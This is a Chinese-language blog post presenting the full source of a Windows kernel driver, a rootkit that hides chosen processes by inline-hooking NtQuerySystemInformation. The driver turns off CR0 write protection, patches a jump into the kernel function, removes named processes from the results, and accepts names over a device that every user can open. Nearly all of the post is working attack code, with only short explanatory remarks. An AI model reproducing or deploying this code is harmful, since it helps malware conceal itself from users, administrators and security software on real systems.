上次是SSDT HOOK 方式 隐藏 进程 ,如链接:http://blog.csdn.net/hjxyshell/article/details/16993119
这次是InlineHook 方式隐藏进程,这里inline hook的原理就不做详细介绍了,网上相关资源较多,撸主主要参考看雪的某大牛的“详谈内核三步走Inline Hook实现”(http://bbs.pediy.com/showthread.php?t=98493)
中间有一些关于进程的枚举的处理,上次写了个简单的代码:http://blog.csdn.net/hjxyshell/article/details/17312119
代码如下:
#include <ntddk.h>
#include <Wdmsec.h>
#include <Wdm.h>
//定义控制码
#define MY_DVC_IN_CODE \
(ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\
0xa02,\
METHOD_BUFFERED,\
FILE_READ_DATA|FILE_WRITE_DATA)
//隐藏进程链表相关变量
//存放要隐藏进程的名字链表
typedef struct _ProcNameLink
{
UNICODE_STRING ProcName;
struct _ProcNameLink *pNext;
}ProcNameLink,*pProcNameLink;
pProcNameLink pProcNameHeader; //链表头部
pProcNameLink pProcNameTail; //链表尾部
//字节型数据 unsigned char
typedef unsigned char BYTE;
ULONG CR0VALUE; //设置cr0的读写标识
BYTE OriginalBytes[5]={0}; //保存原始函数前五个字节
BYTE JmpAddress[5]={0xE9,0,0,0,0}; //跳转到HOOK函数的地址
//进程线程 信息 结构体
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
//进程信息结构体
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
//原函数,获取进程(系统)相关信息
NTSYSAPI
NTSTATUS
NTAPI NtQuerySystemInformation(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
NTSTATUS
MyNtQuerySystemInformation(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
//改变函数前五个字节,使其跳到MyNtQuerySystemInformation函数中
void HookNtQuerySystemInformation(
// IN ULONG SystemInformationClass,
// OUT PVOID SystemInfotmation,
// IN ULONOG SystemInformatonLength,
// OUT PULONG ReturnLength
)
{
//赋值前面的数组
KIRQL Irql;
DbgPrint("[NtQuerySystemInformation]: 0x%x",NtQuerySystemInformation);
//保存原函数前5个字节
RtlCopyMemory(OriginalBytes,(BYTE*)NtQuerySystemInformation,5);
//保存新函数5个字节自后的偏移
*(ULONG*)(JmpAddress + 1) = (ULONG)MyNtQuerySystemInformation - ((ULONG)NtQuerySystemInformation+5);
//开始inline hook 即将跳转到新函数指令拷贝到原函数前5个字节
//关闭内存写保护
__asm
{
//这里只用到eax,保存eax即可
push eax
mov eax,cr0
mov CR0VALUE,eax
and eax,0fffeffffh
mov cr0,eax
pop eax
}
//提升IRQL中断级(防止写的过程中出新中断,导致出错)
Irql = KeRaiseIrqlToDpcLevel();
//开始写函数的前5个字节(jmp 指令)
RtlCopyMemory((BYTE*)NtQuerySystemInformation,JmpAddress,5);
//恢复Irql
KeLowerIrql(Irql);
//开启内存写保护
__asm
{
push eax
mov eax,CR0VALUE
mov cr0,eax
pop eax
}
}
//取消inline hook
void UnHookNtQuerySystemInformation(
// IN ULONG SystemInformationClass,
// OUT PVOID SystemInfotmation,
// IN ULONOG SystemInformatonLength,
// OUT PULONG ReturnLength
)
{
//把保存的五个字节写回原函数
KIRQL Irql;
//关闭写保护
__asm
{
push eax
mov eax,cr0
mov CR0VALUE,eax
and eax,0fffeffffh
mov cr0,eax
pop eax
}
//提升IRQL 到 Dpc
Irql = KeRaiseIrqlToDpcLevel();
RtlCopyMemory((BYTE*)NtQuerySystemInformation,OriginalBytes,5);
KeLowerIrql(Irql);
//开启内存写保护
__asm
{
push eax
mov eax,CR0VALUE
mov cr0,eax
pop eax
}
}
//原函数
_declspec (naked) NTSTATUS OriginalNtQuerySystemInformation(
IN ULONG SystemInformationClass,
OUT PVOID SystemInfotmation,
IN ULONG SystemInformatonLength,
OUT PULONG ReturnLength
)
{
__asm{
//这里的eax不是随便使用个寄存器就行的,因为
//随便使用个寄存器很可能会破坏原来的值
//因为eax的值在接下来会直接被覆盖(原来的值是什么不重要了),所以这里可以使用
push 210h
mov eax,NtQuerySystemInformation
add eax,5
jmp eax
}
}
//MyNtQuerySystemInformation函数,再此处 进行进程隐藏处理
NTSTATUS
MyNtQuerySystemInformation(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
)
{
NTSTATUS ntStatus;
pProcNameLink pTempLink; //进程查询时使用
//DbgPrint("it's here!!!\n");
//查询系统信息
ntStatus = OriginalNtQuerySystemInformation(
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength
);
if(NT_SUCCESS(ntStatus))
{
if(SystemInformationClass == 5)
{
//获取进程信息结构
for((pTempLink = pProcNameHeader->pNext)&&(pTempLink != NULL);pTempLink !=NULL;)
{
//每次查看时 ,都从进程的列表开始查看
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
if(curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer,pTempLink->ProcName.Buffer,16)) //判断是否为要隐藏的进程
{
//判断眼隐藏的进程在链表的那个位置
if(prev) //中间或最后
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else // 在最后
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// 要隐藏的进程在第一个
(char *)SystemInformation += curr->NextEntryDelta;
}
else // 只有当前一个进程
SystemInformation = NULL;
}
}
}
prev = curr;
if(curr->NextEntryDelta)
(char *)curr += curr->NextEntryDelta;
else
curr = NULL;
}
pTempLink = pTempLink->pNext;
}
}
}
return ntStatus;
//return 1;
}
//向链表汇总加入新的要隐藏的进程
VOID AddProcToLink(PUNICODE_STRING ProcName)
{
//先判断该进程是否已存在,已存在则不添加(不判断也不影响结果)
pProcNameLink pNewLink = (pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink)); //新增节点
(pNewLink->ProcName).Length = 0;
(pNewLink->ProcName).MaximumLength = 256;
(pNewLink->ProcName).Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, 256); //新增节点
RtlCopyUnicodeString(&(pNewLink->ProcName),ProcName); //复制
pNewLink->pNext = NULL;
pProcNameTail->pNext = pNewLink;
pProcNameTail = pNewLink; //链表末尾
}
//移除某个进程
VOID RmProcFromLink(PUNICODE_STRING pProcName)
{
pProcNameLink pNewLink = pProcNameHeader;
if(pProcNameHeader->pNext == NULL)
return;
for( pNewLink;pNewLink->pNext != NULL;)
{
//找到,则从链表中删除
if(RtlCompareUnicodeString(&(pNewLink->pNext->ProcName),pProcName,TRUE)==0)
{
pNewLink->pNext = pNewLink->pNext->pNext;
if(pNewLink->pNext == NULL) //链表结尾,为指针标识赋值
pProcNameTail = pNewLink;
break;
}
pNewLink = pNewLink->pNext; //没有写在for里面是为了方便调试时下断点
}
}
//卸载驱动
VOID OnUnload(IN PDRIVER_OBJECT driver)
{
UNICODE_STRING symblink_name; //c语言定义变量放在前面
DbgPrint("ROOTKIT: OnUnload called\n");
// unhook ZwQuerySystemInformation
UnHookNtQuerySystemInformation();
if(IoIsWdmVersionAvailable(1,0x10))
{
//支持通用版本本,则创建全局符号链接\DosDevices\Global
RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");
}
else
{
//不支持,用\DosDevices
RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");
}
IoDeleteSymbolicLink(&symblink_name );
IoDeleteDevice(driver->DeviceObject);
DbgPrint("our driver is unloading ... \r\n");
}
//分发函数
NTSTATUS MyDispatchFunction(PDEVICE_OBJECT device, PIRP irp)
{
CHAR inBuffer[256];
short flag = 1; //增加链表
ANSI_STRING ansiBuffer;
UNICODE_STRING unicodeBuffer;
int i;
//获得当前IRP调用的栈空间
PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(irp);
NTSTATUS status = STATUS_INVALID_PARAMETER;
memset(inBuffer,0,256);
//处理各种请求
switch(irpsp->MajorFunction)
{
case IRP_MJ_CREATE:
{
//简单返回一个IRP成功三部曲
irp->IoStatus.Information = 0;
irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(irp,IO_NO_INCREMENT);
//应用层,打开设备后 打印此字符串,仅为测试
DbgPrint("congratulations gay,open device");
status = irp->IoStatus.Status;
break;
}
case IRP_MJ_CLOSE:
{
irp->IoStatus.Information = 0;
irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(irp,IO_NO_INCREMENT);
//应用层,打开设备后 打印此字符串,仅为测试
DbgPrint("congratulations gay,close device");
status = irp->IoStatus.Status;
break;
}
case IRP_MJ_DEVICE_CONTROL:
{
//得到功能号
ULONG code = irpsp->Parameters.DeviceIoControl.IoControlCode;
//得到输入/输出缓冲区的长度
ULONG in_len = irpsp->Parameters.DeviceIoControl.InputBufferLength;
ULONG out_len = irpsp->Parameters.DeviceIoControl.OutputBufferLength;
//输入、输出的缓冲区是公用的内存空间的
PCHAR buffer = (PCHAR)irp->AssociatedIrp.SystemBuffer;
//memcpy(inBuffer,buffer,in_len);
//将短字符转化为宽字符
if(buffer[0] == '-')
flag = 0;
ansiBuffer.Buffer = buffer+1;
ansiBuffer.Length = ansiBuffer.MaximumLength = (USHORT)(in_len -1);
RtlAnsiStringToUnicodeString(&unicodeBuffer, &ansiBuffer,TRUE);
if(flag)
AddProcToLink(&unicodeBuffer); //将要隐藏的进程加入到链表中
else
RmProcFromLink(&unicodeBuffer);
DbgPrint("%ansiBuffer = %Z\n",&ansiBuffer); //注意是%Z
DbgPrint("unicodeBuffer = %wZ\n",&unicodeBuffer);
if(code == MY_DVC_IN_CODE)
{
DbgPrint("in_buffer_len = %d",in_len);
DbgPrint("%s",buffer);
//因为不返回信息,直接返回成功即可
//没有用到输出缓冲区
irp->IoStatus.Information = 0;
irp->IoStatus.Status = STATUS_SUCCESS;
}
else
{
//控制码错误,则不接受请求,直接返回错误
//注意返回错误和返回成功的区别
irp->IoStatus.Information = 0;
irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
}
IoCompleteRequest(irp,IO_NO_INCREMENT);
status = irp->IoStatus.Status;
break;
}
case IRP_MJ_READ:
{
break;
}
default:
{
DbgPrint("unknow request!!!");
break;
}
}
return status;
}
//驱动入口函数
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driver,
IN PUNICODE_STRING reg_path)
{
ULONG i;
NTSTATUS status;
PDEVICE_OBJECT device;
//设备名
UNICODE_STRING device_name = RTL_CONSTANT_STRING(L"\\Device\\test");
//符号连接名
UNICODE_STRING symblink_name;
//随手写一个GUID
static const GUID MYGUID_CLASS_MYCDO =
{ 0x63542127, 0xfbbb, 0x49c8, { 0x8b, 0xf4, 0x8b, 0x7c, 0xb5, 0xef, 0xd3, 0x9e } };
//static const GUID DECLSPEC_SELECTANY MYGUID_CLASS_MYCDO =
//{ 0x8524767, 0x32fe, 0x4d86, { 0x9f, 0x48, 0xa0, 0x26, 0x94, 0xec, 0x71, 0x42 } };
//全用户可读权限、写权限
UNICODE_STRING sdd1=RTL_CONSTANT_STRING(L"D:P(A;;GA;;;WD)");
//初始化第一个结构体
pProcNameHeader =(pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink));
pProcNameHeader->pNext = NULL;
pProcNameTail = pProcNameHeader;
//RtlInitUnicodeString(&(pProcNameHeader->ProcName),L"");
//_asm int 3
//生成设备
status = IoCreateDeviceSecure(
driver,
0,
&device_name,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&sdd1,
(LPCGUID)&MYGUID_CLASS_MYCDO,
&device
);
if(!NT_SUCCESS(status))
{
DbgPrint("IoCreateDeviceSecure failed ");
return status;
}
DbgPrint("good job1");
//创建符号链接
if(IoIsWdmVersionAvailable(1,0x10))
{
//支持通用版本本,则创建全局符号链接\DosDevices\Global
RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");
}
else
{
//不支持,用\DosDevices
RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");
}
status = IoCreateSymbolicLink(&symblink_name,&device_name);
if(!NT_SUCCESS(status))
{
DbgPrint("IoCreateSymbolicLink failed");
return status;
}
DbgPrint("good job2");
//初始化驱动处理
for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
{
driver->MajorFunction[i] = MyDispatchFunction;
}
// save old system call locations
//OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
// Register a dispatch function for Unload
driver->DriverUnload = OnUnload;
// inline hook
HookNtQuerySystemInformation();
return STATUS_SUCCESS;
}
说明:
_declspec (naked) NTSTATUS OriginalNtQuerySystemInformation 函数中的寄存器不是随便使用的,正如代码中注释所述一样,这里使用eax,因为eax的值会被直接覆盖,对后续程序并无影响
如图:
驱动安装运行后,在查看函数NtQuerySystemInformation,已经被我们掌控